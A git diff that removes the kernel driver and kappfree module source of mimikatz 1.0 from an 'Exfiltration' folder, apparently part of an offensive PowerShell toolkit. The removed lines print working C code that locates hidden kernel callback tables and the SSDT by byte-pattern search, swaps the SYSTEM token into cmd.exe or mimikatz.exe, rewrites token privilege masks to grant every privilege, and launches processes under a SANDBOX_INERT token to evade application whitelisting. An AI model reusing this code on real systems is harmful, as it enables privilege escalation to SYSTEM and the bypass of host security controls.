if(monCallBack != NULL) - { - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"[%.2u] ", i); - if(NT_SUCCESS(status)) - { - status = getModuleFromAddr((ULONG_PTR) monCallBack->callback, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); - if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) - { - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n"); - } - } - } - } - } - } - return status; -} - -NTSTATUS getPspCreateThreadNotifyRoutine() -{ - NTSTATUS retour = STATUS_NOT_FOUND; - #ifdef _M_X64 - UCHAR PTRN_WNT5_Thread[] = {0x48, 0x8d, 0x35}; - LONG OFFS_WNT5_Thread = sizeof(PTRN_WNT5_Thread); - UCHAR PTRN_WNT6_Thread[] = {0x48, 0x8d, 0x0d}; - LONG OFFS_WNT6_Thread = sizeof(PTRN_WNT6_Thread); - #elif defined _M_IX86 - UCHAR PTRN_WNO8_Thread[] = {0x56, 0xbe}; - LONG OFFS_WNO8_Thread = sizeof(PTRN_WNO8_Thread); - UCHAR PTRN_WIN8_Thread[] = {0x53, 0xbb}; - LONG OFFS_WIN8_Thread = sizeof(PTRN_WIN8_Thread); - #endif - LONG OFFS_WNT5_Count = sizeof(PVOID) * MAX_NT5_PspCreateProcessNotifyRoutine; - LONG OFFS_WNT6_Count = sizeof(PVOID) * MAX_NT6_PspCreateThreadNotifyRoutine; - - PUCHAR pointeur = NULL, pattern = NULL, refDebut = (PUCHAR) PsSetCreateThreadNotifyRoutine, refFin = refDebut + PAGE_SIZE; SIZE_T taille = 0; LONG offsetTo = 0; - LONG offsetToCount = 0; - - if(PspCreateThreadNotifyRoutine && PspCreateThreadNotifyRoutineCount) - { - retour = STATUS_SUCCESS; - } - else - { - if(INDEX_OS < INDEX_VISTA) - { - #ifdef _M_X64 - pattern = PTRN_WNT5_Thread; - taille = sizeof(PTRN_WNT5_Thread); - offsetTo = OFFS_WNT5_Thread; - #endif - offsetToCount = OFFS_WNT5_Count; - } - else - { - #ifdef _M_X64 - pattern = PTRN_WNT6_Thread; - taille = sizeof(PTRN_WNT6_Thread); - offsetTo = OFFS_WNT6_Thread; - #endif - offsetToCount = OFFS_WNT6_Count; - } - - #if defined _M_IX86 - if(INDEX_OS < INDEX_8) - { - pattern = PTRN_WNO8_Thread; - taille = sizeof(PTRN_WNO8_Thread); - offsetTo = OFFS_WNO8_Thread; - } - else - { - pattern = PTRN_WIN8_Thread; - taille = sizeof(PTRN_WIN8_Thread); - offsetTo = OFFS_WIN8_Thread; - } - #endif - - retour = genericPointerSearch(&pointeur, refDebut, refFin, pattern, taille, offsetTo); - if(NT_SUCCESS(retour)) - { - PspCreateThreadNotifyRoutine = (PVOID) (pointeur); - PspCreateThreadNotifyRoutineCount = (PULONG) (pointeur + offsetToCount); - - if(PspCreateThreadNotifyRoutine && PspCreateThreadNotifyRoutineCount) - retour = STATUS_SUCCESS; - } - } - return retour; -} diff --git a/Exfiltration/mimikatz-1.0/driver/notify_thread.h b/Exfiltration/mimikatz-1.0/driver/notify_thread.h deleted file mode 100644 index 22499b7..0000000 --- a/Exfiltration/mimikatz-1.0/driver/notify_thread.h +++ /dev/null @@ -1,11 +0,0 @@ -#pragma once -#include "notify.h" - -#define MAX_NT6_PspCreateThreadNotifyRoutine 64 -#define MAX_NT5_PspCreateThreadNotifyRoutine 8 - -ULONG * PspCreateThreadNotifyRoutineCount; -PVOID * PspCreateThreadNotifyRoutine; - -NTSTATUS getPspCreateThreadNotifyRoutine(); -NTSTATUS kListNotifyThreads(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); diff --git a/Exfiltration/mimikatz-1.0/driver/processes.c b/Exfiltration/mimikatz-1.0/driver/processes.c deleted file mode 100644 index 55e13ab..0000000 --- a/Exfiltration/mimikatz-1.0/driver/processes.c +++ /dev/null @@ -1,146 +0,0 @@ -#include "processes.h" - -const ULONG EPROCESS_OffSetTable[MAX_OS_LEN][MAX_EPROCESS_LEN] = -{ - /* INDEX_EPROCESS_NEXT, INDEX_EPROCESS_FLAGS2, INDEX_TOKEN_PRIVS */ -#ifdef _M_IX86 -/* INDEX_UNK */ {0x0000, 0x0000, 0x0000}, -/* INDEX_XP */ {0x0088, 0x0000, 0x0000}, -/* INDEX_2K3 */ {0x0098, 0x0000, 0x0000}, -/* INDEX_VISTA */ {0x00a0, 0x0224, 0x0040}, -/* INDEX_2K8 */ {0x00a0, 0x0224, 0x0040}, -/* INDEX_7 */ {0x00b8, 0x026c, 0x0040}, -/* INDEX_2K8R2 */ {0x0000, 0x0000, 0x0000},/* n'existe pas ! */ -/* INDEX_8 */ {0x00b8, 0x00c0, 0x0040} -#else -/* INDEX_UNK */ {0x0000, 0x0000, 0x0000}, -/* INDEX_XP */ {0x0000, 0x0000, 0x0000},/* n'existe pas, XP x64 *est* 2003 x64 */ -/* INDEX_2K3 */ {0x00e0, 0x0000, 0x0000}, -/* INDEX_VISTA */ {0x00e8, 0x036c, 0x0040}, -/* INDEX_2K8 */ {0x00e8, 0x036c, 0x0040}, -/* INDEX_7 */ {0x0188, 0x043c, 0x0040}, -/* INDEX_2K8R2 */ {0x0188, 0x043c, 0x0040}, -/* INDEX_8 */ {0x02e8, 0x02f8, 0x0040} -#endif -}; - -NTSTATUS sysToken(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) -{ - return listProcessesOrSysToken(pszDest, cbDest, ppszDestEnd, pcbRemaining, ExchangeToken); -} - -NTSTATUS listProcesses(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) -{ - return listProcessesOrSysToken(pszDest, cbDest, ppszDestEnd, pcbRemaining, ListProcesses); -} - -NTSTATUS privProcesses(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) -{ - NTSTATUS status = STATUS_NOT_SUPPORTED; - - if(INDEX_OS >= INDEX_VISTA) - status = listProcessesOrSysToken(pszDest, cbDest, ppszDestEnd, pcbRemaining, FullPrivilegeNT6); - - return status; -} - -NTSTATUS listProcessesOrSysToken(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining, KIWI_EPROCESS_ACTION action) -{ - NTSTATUS status = STATUS_SUCCESS, status2 = STATUS_SUCCESS; - PEPROCESS monProcess = NULL; - PCHAR processName = NULL; - HANDLE processId = NULL; - - PACCESS_TOKEN monTokenAcess = NULL; - PKIWI_NT6_PRIVILEGES mesPrivileges = NULL; - - HANDLE sysProcessHandle, sysProcessTokenHandle, newSysTokenHandle, processHandle; - PROCESS_ACCESS_TOKEN ProcessTokenInformation; - PULONG pFlags2 = NULL; - - *ppszDestEnd = pszDest; *pcbRemaining= cbDest; - - for( - monProcess = PsInitialSystemProcess; - NT_SUCCESS(status) && - (PEPROCESS) ((ULONG_PTR) (*(PVOID *) (((ULONG_PTR) monProcess) + EPROCESS_OffSetTable[INDEX_OS][INDEX_EPROCESS_NEXT]))- EPROCESS_OffSetTable[INDEX_OS][INDEX_EPROCESS_NEXT]) != PsInitialSystemProcess; - monProcess = (PEPROCESS) ((ULONG_PTR) (*(PVOID *) (((ULONG_PTR) monProcess) + EPROCESS_OffSetTable[INDEX_OS][INDEX_EPROCESS_NEXT]))- EPROCESS_OffSetTable[INDEX_OS][INDEX_EPROCESS_NEXT]) - ) - { - processName = PsGetProcessImageFileName(monProcess); - processId = PsGetProcessId(monProcess); - - if(action == ExchangeToken || action == FullPrivilegeNT6) - { - if((RtlCompareMemory("mimikatz.exe", processName, 13) == 13) || (RtlCompareMemory("cmd.exe", processName, 7) == 7)) - { - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, - L"processes::ExchangeToken/FullPrivilegeNT6 \'%S' trouvé :) - PID %u\n", processName, processId - ); - if(action == ExchangeToken) - { - status2 = ObOpenObjectByPointer(PsInitialSystemProcess, OBJ_KERNEL_HANDLE, NULL, GENERIC_READ, *PsProcessType, KernelMode, &sysProcessHandle); - if(NT_SUCCESS(status2)) - { - status2 = ObOpenObjectByPointer(monProcess, OBJ_KERNEL_HANDLE, NULL, GENERIC_WRITE, *PsProcessType, KernelMode, &processHandle); - if(NT_SUCCESS(status2)) - { - status2 = ZwOpenProcessTokenEx(sysProcessHandle, TOKEN_DUPLICATE, OBJ_KERNEL_HANDLE, &sysProcessTokenHandle); - if(NT_SUCCESS(status2)) - { - status2 = ZwDuplicateToken(sysProcessTokenHandle, TOKEN_ASSIGN_PRIMARY, NULL, FALSE, TokenPrimary, &newSysTokenHandle); - if(NT_SUCCESS(status2)) - { - ProcessTokenInformation.Token = newSysTokenHandle; - ProcessTokenInformation.Thread = 0; - - if(INDEX_OS >= INDEX_VISTA) - { - pFlags2 = (PULONG) (((ULONG_PTR) monProcess) + EPROCESS_OffSetTable[INDEX_OS][INDEX_EPROCESS_FLAGS2]); - *pFlags2 &= ~TOKEN_FROZEN_MASK; - } - - status2 = ZwSetInformationProcess(processHandle, ProcessAccessToken, &ProcessTokenInformation, sizeof(PROCESS_ACCESS_TOKEN)); - if(NT_SUCCESS(status2)) - { - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\nToken échangé :)\n"); - } - - if(INDEX_OS >= INDEX_VISTA) - { - *pFlags2 |= TOKEN_FROZEN_MASK; - } - - ZwClose(newSysTokenHandle); - } - ZwClose(sysProcessTokenHandle); - } - ZwClose(processHandle); - ZwClose(sysProcessHandle); - } - } - } - else - { - if(monTokenAcess = PsReferencePrimaryToken(monProcess)) - { - mesPrivileges = (PKIWI_NT6_PRIVILEGES) (((ULONG_PTR) monTokenAcess) + EPROCESS_OffSetTable[INDEX_OS][INDEX_TOKEN_PRIVS]); - - mesPrivileges->Present[0] = mesPrivileges->Enabled[0] /*= mesPrivileges->EnabledByDefault[0]*/ = 0xfc; - mesPrivileges->Present[1] = mesPrivileges->Enabled[1] /*= mesPrivileges->EnabledByDefault[1]*/ = //...0xff; - mesPrivileges->Present[2] = mesPrivileges->Enabled[2] /*= mesPrivileges->EnabledByDefault[2]*/ = //...0xff; - mesPrivileges->Present[3] = mesPrivileges->Enabled[3] /*= mesPrivileges->EnabledByDefault[3]*/ = 0xff; - mesPrivileges->Present[4] = mesPrivileges->Enabled[4] /*= mesPrivileges->EnabledByDefault[4]*/ = 0x0f; - - PsDereferencePrimaryToken(monTokenAcess); - } - } - } - } - else - { - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"%u\t%S\n", processId, processName); - } - } - return status; -} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/driver/processes.h b/Exfiltration/mimikatz-1.0/driver/processes.h deleted file mode 100644 index ae99825..0000000 --- a/Exfiltration/mimikatz-1.0/driver/processes.h +++ /dev/null @@ -1,33 +0,0 @@ -#pragma once -#include -#include "k_types.h" - -#define INDEX_EPROCESS_NEXT 0 -#define INDEX_EPROCESS_FLAGS2 1 -#define INDEX_TOKEN_PRIVS 2 -#define MAX_EPROCESS_LEN 3 - -#define TOKEN_FROZEN_MASK 0x00008000 - -typedef struct _KIWI_NT6_PRIVILEGES -{ - UCHAR Present[8]; - UCHAR Enabled[8]; - UCHAR EnabledByDefault[8]; -} KIWI_NT6_PRIVILEGES, *PKIWI_NT6_PRIVILEGES; - -typedef enum _KIWI_EPROCESS_ACTION -{ - ListProcesses, - ExchangeToken, - FullPrivilegeNT6 -} KIWI_EPROCESS_ACTION; - -extern char* PsGetProcessImageFileName(PEPROCESS monProcess); -extern NTSYSAPI NTSTATUS NTAPI ZwSetInformationProcess (__in HANDLE ProcessHandle, __in PROCESSINFOCLASS ProcessInformationClass, __in_bcount(ProcessInformationLength) PVOID ProcessInformation, __in ULONG ProcessInformationLength); - -NTSTATUS listProcesses(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); -NTSTATUS sysToken(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); -NTSTATUS privProcesses(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); - -NTSTATUS listProcessesOrSysToken(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining, KIWI_EPROCESS_ACTION action); \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/driver/ssdt.c b/Exfiltration/mimikatz-1.0/driver/ssdt.c deleted file mode 100644 index 688dfb2..0000000 --- a/Exfiltration/mimikatz-1.0/driver/ssdt.c +++ /dev/null @@ -1,83 +0,0 @@ -#include "ssdt.h" - -#ifdef _M_X64 -PSERVICE_DESCRIPTOR_TABLE KeServiceDescriptorTable = NULL; -#endif - -NTSTATUS kSSDT(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) -{ - NTSTATUS status; - USHORT idxFunction; - ULONG_PTR funcAddr; - - #ifdef _M_X64 - status = getKeServiceDescriptorTable(); - if(NT_SUCCESS(status)) - { - #endif - *ppszDestEnd = pszDest; *pcbRemaining= cbDest; - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION , L"kSSDT - KeServiceDescriptorTable\t: %p\nkSSDT - KeServiceDescriptorTable.TableSize\t: %u\n", KeServiceDescriptorTable, KeServiceDescriptorTable->TableSize); - for(idxFunction = 0; (idxFunction < KeServiceDescriptorTable->TableSize) && NT_SUCCESS(status) ; idxFunction++) - { - #ifdef _M_IX86 - funcAddr = (ULONG_PTR) KeServiceDescriptorTable->ServiceTable[idxFunction]; - #else - funcAddr = (ULONG_PTR) KeServiceDescriptorTable->OffsetToService; - if(INDEX_OS < INDEX_VISTA) - { - funcAddr += KeServiceDescriptorTable->OffsetToService[idxFunction] & ~EX_FAST_REF_MASK; - } - else - { - funcAddr += KeServiceDescriptorTable->OffsetToService[idxFunction] >> 4; - } - #endif - - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"[%4u]\t: ", idxFunction); - if(NT_SUCCESS(status)) - { - status = getModuleFromAddr(funcAddr, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); - if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) - { - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n"); - } - } - } - #ifdef _M_X64 - } - #endif - return status; -} - -#ifdef _M_X64 -NTSTATUS getKeServiceDescriptorTable() -{ - NTSTATUS retour = STATUS_NOT_FOUND; - - UCHAR PTRN_WALL_Ke[] = {0x00, 0x00, 0x4d, 0x0f, 0x45, 0xd3, 0x42, 0x3b, 0x44, 0x17, 0x10, 0x0f, 0x83}; - LONG OFFS_WNO8_Ke = -19; - LONG OFFS_WIN8_Ke = -16; - - PUCHAR refDebut = NULL, refFin = NULL; LONG offsetTo = 0; - UNICODE_STRING maRoutine; - PUCHAR baseSearch = NULL; - - if(KeServiceDescriptorTable) - { - retour = STATUS_SUCCESS; - } - else - { - RtlInitUnicodeString(&maRoutine, L"ZwUnloadKey"); - if(baseSearch = (PUCHAR) MmGetSystemRoutineAddress(&maRoutine)) - { - refDebut= baseSearch - 21*PAGE_SIZE; - refFin = baseSearch + 16*PAGE_SIZE; - offsetTo = (INDEX_OS < INDEX_8) ? OFFS_WNO8_Ke : OFFS_WIN8_Ke; - - retour = genericPointerSearch((PUCHAR *) &KeServiceDescriptorTable, refDebut, refFin, PTRN_WALL_Ke, sizeof(PTRN_WALL_Ke), offsetTo); - } - } - return retour; -} -#endif \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/driver/ssdt.h b/Exfiltration/mimikatz-1.0/driver/ssdt.h deleted file mode 100644 index 33ab9af..0000000 --- a/Exfiltration/mimikatz-1.0/driver/ssdt.h +++ /dev/null @@ -1,13 +0,0 @@ -#pragma once -#include "k_types.h" -#include "mod_memory.h" -#include "modules.h" - -NTSTATUS kSSDT(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); - -#ifdef _M_IX86 - extern PSERVICE_DESCRIPTOR_TABLE KeServiceDescriptorTable; -#else - PSERVICE_DESCRIPTOR_TABLE KeServiceDescriptorTable; - NTSTATUS getKeServiceDescriptorTable(); -#endif diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/CL.read.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/CL.read.1.tlog deleted file mode 100644 index 574462d68510beade31e5994920d86034c60810d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 13668 zcmdU0$&S-N5Un#3|BxdbCSoQCM%)tHNlaoV@{$EbP&G&C#C6P~Zk(K1q$XZ%i;A}5DIZ7s#)ELWTi%%vejB_lP0>35Z&oO?%c_|0n zvBBsAuJL+~vpHsb!S(x*2YHmKyu%gF+2gasQ!{*i9hm~(YkBp8a*ugCV6AXpArst} z2V^yl-vHmUe2}*K7~zr0=FtZ@u)Yj9jqS!#!%WlV5)<* z`@oXG#*jL5NIUH_Ed?!~TALQsOJ1&)m`NMn*(Wd5JOGn7{!-%Rpxr8>#Er9Bl>c}V zHwFtmfp|#9*s26b&cREGhi4dN>VP7F-ZhXK+SFB4Yc&)VEy5K@THxD9uZW-djuf9$Z?(%Fkh8H}c+`U(70S*HJvasPp82I=9?^aqhTxsjTb5y!$uF(gNn7b&Q$V==T+%R2I6wJdjZ{veY%ro2PL5PChs2_=;x85KF zy>Y;&5_)7WFG=vtxkp+{u0{zyP!x#i?2&9;WTdvJTWMvH`D*)^vVhNfTV1o}Q;ACA zEL10LeW(g?o4q|z6e*Bo<{EU1#Xgg&XiCVgz5m}~X}~29wqNnkS2(-a75knFc0btj zOXC3T?eJ1lqF=|Xm9_n4<%ZQrW{It_D4$sWW=_Vw@~{AhykMcX>jjJQDRzItu=r82 z)SwQl*Y^I^(NRXR+owF}c87)gw-;|Bc2~<731$Z!tF88tQ>Rfyus9wxihC4mggbof z>BG)BdN}s`6RDA*JJNdJW;f{P&=JboX*@Jz>y+$d&4J4YB4S~uFl)>45Dl|A?48)) zd&Jioi%L(9z1v>56XcB81#NHj*vGhqym-j|s-5w{AzGLU6(;RpKA1}{vuP*r$zFDM z@PK{rNO{A^--Ax8^zwfX8fcTXwPOX4IapH0zQ&~8JnWgwfyRC>=zLH9mx?u~=>ML~ VQP5{7T%gF%OPBzQcHj3t%nyP4TQ&dy diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/CL.write.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/CL.write.1.tlog deleted file mode 100644 index 1393f5201c949a980dc374ae5c3174b867b79289..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 528 zcmd6kOAdlS5Cv;(;!z-=J9ns~;s=NyAclDVQ>ZmA)dP@TOuAmrvP#zC5>MZL5uoVcrhlZ2doY`N;wHfY5?z%P6+#O_YqG7G$nDQH4mQ0}l diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/cl.command.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/cl.command.1.tlog deleted file mode 100644 index 05c99d0b13f38f0d49b1e7c750ecb287683f1e92..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1190 zcmdUu-A=+l5QWdRiSJ;zM?vqnLnxIfh43SU5D6d%5h@Wx@!{2Py5&cB0nMh}&Y3gQ zv%6=%zaErRMjiPos;(O~bWK!ISxtGWss`rij^U{VZdg$z<^X;cyh9x5o{C%0Bst3$ ziLx--;Q+Q=RBS1D)|MDzQ~O(Nbf*sZU)+FM8KduP7cf zPZ^#*G>@=}X3Qb{9=ItEwW8t~)D&BOLezutN#3G;WT)74ypWsm-w-W-L(>dRk0_e5 zo<*#x%^FNyNN&pW#A9(&SMl6p?S_=uCpWu_GCf?pju}4ZY)GDWlidsGak)hTa1Y-! zaM6ah_ZMI5C?4UQj7B(OfhUaNkRf|DV3+5hu0xwRgZBpbu804+G2h`McHKN_ zt}!oKrvl#z_GiM`*gkd`&PfGM@pooLWtzK^;>OI$_G6~cxAm&CYMXoXGHIU - - - - - - - - - diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.lastbuildstate b/Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.lastbuildstate deleted file mode 100644 index 4d28193..0000000 --- a/Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.lastbuildstate +++ /dev/null @@ -1,2 +0,0 @@ -#v4.0:v100 -Release|Win32|C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\| diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.res b/Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.res deleted file mode 100644 index 416efb252679234e4017c8d9860fdb073712bce1..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 788 zcmZ{iO-=$q5QQIP7Mif&2F}8TZp@&waAyptArdueaA^PsB*M%@h8R7BXYm5wf_r!a z@vGJjKZ)I`?w+n!uU^%(B!$>~{%agp#;ol9RWK#zi&P0bXjYCnwsoU>))QTGYU)xK zd^cH7IotRQzP=@k|K;%ek@HFc(|i7|6qCCIU!i9Wm1+RnP$MNUr|K&MSaq04u_E=b zSY1}>P!(e9V8+VT0so4c4qu6*KVwf}Hoj2j>@S$~t^?wHo(8B1yp}(A=!_^EPjKbT zKE8w*>cOpJkY?sD^u~RThAF5}cigAoGICA$-f_B2L#SiN*232#HUYou@zdwj^C`5z_)caA@mVPQR?`fgWL!>*VU4>93UCYgnbCnMRTfLCR7Z2`;Kp)w`4;dS;A75( z-g4s&=r%ITb50Ey?~va|wzaE7&ybi?vf60PSYxbO+jH&xL7HHrsn`1cU-|6F2700` z?Xc^!df`6{S?-ggeIoAh%T$BYqXx$6zoV@5Nf-L8Q*u)3N?$b7H99Z&&RLnhY8kLf zmwXrSC*ZEkLO0y_2{&apaUC7K4i_294Tm4^Cl zc14WI@i?{)zXN_XG)?iy`l_HkK~qI!W_Ia@0-xIP~*I!D>{gf`7)czpKDJ zhdXCKgAr|%YSGD$yT(g$b-MO<5az-_Cv@GA>U8lvzSI^~9f8KqEkozJ! z10$su%pcMhO>)>m+ipNwSSZM!Cq{~_f#&!s3Z_qrtu8OXbH(>PXG(PBk3N^N$7Ai? lUnx`7?w@uVy?_1zMA(kD^Nr+jojZ=bU?d3`jKBf`287Ep6BfKjgVdo>- zYb-66%gFj}1TO=1;A$J|!0a|-Q?g+`Rzr?Dv1)N>GBRfw&%K<%lvYmQ(ge>HdrI=1 z@jVu|DsC@0+3*n~JSqaSdv#(whGP`h*>`voL%GM#ug8%>GZ69TJI6 zt%Yw)MO$8i)aL%wXcizy$dGjy>psUtbXXU%sgQ%krik_ReJs0`QRvO{F9m&=1U5%P x7dS544$1U}^HvK(R_L=C{n$9TkLx^L>hJj(X87rOxrtrOJSw-DG&HI28$YosFslFn diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/link.write.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/link.write.1.tlog deleted file mode 100644 index f8b3fd94a63e283e0bdabef806151dd7b937b844..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 756 zcmdUt%?iRW5QM+8;G;D7bMw~PRHHVQHvS;RC-K?UNxX>&o{H=tnVHRIlby%?%8~^= zD;$9}2MVEvJtr(JojA)*VL6MBoTJw2m7k06g*``|*ow`hMcoPI%D6~>XELT3CQ@Qf zqo`EXDtg@-tIe5xP>t>=*l_!+p5x0p#*7B-`uo3@X~IMI_^TUUU7O^XpkHp2FH7O* RJS&gY+IitB%^;*HJOO4?ZSnvB diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/mt.command.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/mt.command.1.tlog deleted file mode 100644 index be3410331ff18f2fdac4e237cc8316e3cc38e1b3..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 936 zcmaiy+e-pr5XH}P(EqU5OFgvRAflek)>=wi+_Z=#=%OX*DyvVEYbld(h0a>v1)wl@XO#Cc3mwZ_CXi% znLoxV!#KtN8(GwfLM`JlPQs~@HR5DcwQOrz{lgn-$CZT6IfCDCB|F$wDmVsbT!JixN7O_ap=13For z^wOfz`z$K(jA8x!){}uJ#Fpu_Or5_p&uT_X$~91r-!;Dg`(AAoy1*K7Gi0DUjWzWD z0&L_+p-b+YDt&IY3+o2f1$q)V51uInYg3_zhDWkk_OAMTbNJ`r)=f^`fo?%A_3hO;DOJ=N#utUHog-hdW&0&knbGS84lY&YAy>dslcS#=q}pil^q{TqiGv zU2Utr-c-cR2fFvZPj=4%23uyX!8+afO+{>1%x|IxP@7VLA2#bW?Kk^U({1g_hnzdz kJBNhHbNHJFIgBHi?tK?h_!hpMt54eh=Ii{)w`h)i02QH`R{#J2 diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/mt.write.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/mt.write.1.tlog deleted file mode 100644 index 53b60f35815c1aae7e54b44ba7d7cee69a3352e1..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 574 zcmc(c%MQUn7=_PT;vKqVp>at>?5d_rXf>@O(s&Zjj_)5`iG`iaqH`|)<#e8pn^G;+ zY9p_swraEjl{)Awr%E-P)1KpWfj7=8=Ud=U;9GE^6BRqy5t`{9l;F6ce=;LY6l;uP zo|2Q%)p1&;TDO^|U({IZut^*|NBmXTWDT}ij;=Yk0-S+rxO<{Eapromg|&*%`5&C{!)au2eu4V!rMh$Q1K%ZW+vf05!dhvoU)r-d)6O-PzB R=iAPG_5S)Qzr2C%_yTO&Qu+V@ diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/rc.command.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/rc.command.1.tlog deleted file mode 100644 index 92ee08406f4e0bbb2d0835a81edc1c69883f21f5..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 628 zcmdUs%Syvg6h+rq@E=O%iMBdvXEjaRpvKVJ2U1!@S`mYaPW*ax-B27D=OUZKVefrj zm;3p#CZ)%U5joe4nQ%U&#yRcATrmdcn_SeJgJC ze=0F;5{`93O(}*>%|ug4bW#pE;D`Y&HeOgbJ$2u}j@Djpsuhtt-i=eED+{$xJX0C> oM&LVh0?Z5ov7q^mKGXMYp diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/rc.read.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/rc.read.1.tlog deleted file mode 100644 index 6f2e9b05a0415fb3fba6005ecd5cbc28aac0d9a3..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2522 zcmd6p(N2Rf6o&t66W@VLy%=#fYP`b&lWYSr23rhq@Bb3&cghl%>5UUp(qwDTDec$4 zKP?~cZ*qE4uZ0S2^`chKv}#q_Dbq#`u}mvUraf_s6r+#5M$IVSBQY7LYh4{VYuXjG8=hP%;>p6ZHPmk)eAK;ek8?WT zx1oOyNd#lTdRk8%QQJ~aiB;t0@C-~HGxeT*#SFP`*$N%=Sbw8Ti0>IaW0V+$rpC8p zRpsb>4Xa9k5CrQi_$diKZr)-Tq^eBZ^gl_#l#+=~&UDVot>Ju= XQm1Cj=+Aog?^n;6{pcM2TyFgWA~-Ze diff --git a/Exfiltration/mimikatz-1.0/kappfree/kappfree.c b/Exfiltration/mimikatz-1.0/kappfree/kappfree.c deleted file mode 100644 index 63130c9..0000000 --- a/Exfiltration/mimikatz-1.0/kappfree/kappfree.c +++ /dev/null @@ -1,34 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "kappfree.h" - -extern __declspec(dllexport) void __cdecl startW(HWND hwnd, HINSTANCE hinst, LPWSTR lpszCmdLine, int nCmdShow) -{ - HANDLE monToken, monSuperToken; - wchar_t * commandLine; - PROCESS_INFORMATION mesInfosProcess; - STARTUPINFO mesInfosDemarrer; - - if(OpenProcessToken(GetCurrentProcess(), TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_QUERY /*| TOKEN_IMPERSONATE*/, &monToken)) - { - if(CreateRestrictedToken(monToken, SANDBOX_INERT, 0, NULL, 0, NULL, 0, NULL, &monSuperToken)) - { - RtlZeroMemory(&mesInfosProcess, sizeof(PROCESS_INFORMATION)); - RtlZeroMemory(&mesInfosDemarrer, sizeof(STARTUPINFO)); - mesInfosDemarrer.cb = sizeof(STARTUPINFO); - - commandLine = _wcsdup(lpszCmdLine); - if(CreateProcessAsUser(monSuperToken, NULL, commandLine, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &mesInfosDemarrer, &mesInfosProcess)) - { - CloseHandle(mesInfosProcess.hThread); - CloseHandle(mesInfosProcess.hProcess); - } - free(commandLine); - CloseHandle(monSuperToken); - } - CloseHandle(monToken); - } -} diff --git a/Exfiltration/mimikatz-1.0/kappfree/kappfree.h 